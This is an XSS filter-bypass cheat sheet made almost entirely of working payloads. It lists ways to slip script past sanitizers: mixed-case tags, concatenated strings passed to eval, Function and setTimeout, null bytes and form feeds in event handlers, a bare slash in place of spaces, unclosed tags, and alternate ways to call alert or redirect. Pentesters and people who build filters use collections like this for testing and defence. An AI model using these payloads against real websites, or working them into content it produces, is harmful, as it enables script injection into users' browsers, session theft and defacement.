Filter Bypass and exotic payloads

Bypass case sensitive

```
<sCrIpt>alert(1)</ScRipt>
```

Bypass tag blacklist

```
<script x>
<script x>alert('XSS')<script y>
```

Bypass word blacklist with code evaluation

```
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

Bypass with incomplete html tag - IE/Firefox/Chrome/Safari

```
<img src='1' onerror='alert(0)' <
```

Bypass quotes for string

```
String.fromCharCode(88,83,83)
```

Bypass quotes in script tag

```
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>
```

Bypass quotes in mousedown event

```
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>

You can bypass a single quote with &#39; in an on mousedown event handler
```

Bypass dot filter

```
<script>window['alert'](document['domain'])<script>
```

Bypass parenthesis for string - Firefox/Opera

```
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
```

Bypass onxxxx= blacklist

```
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
```

Bypass onxxx= filter with a null byte/vertical tab - IE/Safari

```
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
```

Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari

```
<img src='1' onerror/=alert(0) />
```

Bypass space filter with "/" - IE/Firefox/Chrome/Safari

```
<img/src='1'/onerror=alert(0)>
```

Bypass space filter with 0x0c/^L

```
<svgonload=alert(1)>


$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.
```

Bypass document blacklist

```
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</sc
ript>
```

Bypass using javascript inside a string

```
<script>
foo="text </script><script>alert(1)</script>";
</script>
```

Bypass using an alternate way to redirect

```
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
```

Bypass using an alternate way to execute an alert - @brutelogic
(https://twitter.com/brutelogic/status/965642032424407040)

```
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
```

Bypass using an alternate way to execute an alert - @404death
(https://twitter.com/404death/status/1011860096685502464)

```
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

Bypass using an alternate way to trigger an alert

```
var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);
```

Bypass ">" using nothing #trololo (you don't need to close your tags)

```
<svg onload=alert(1)//
```

Bypass ';' using another character

```
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
```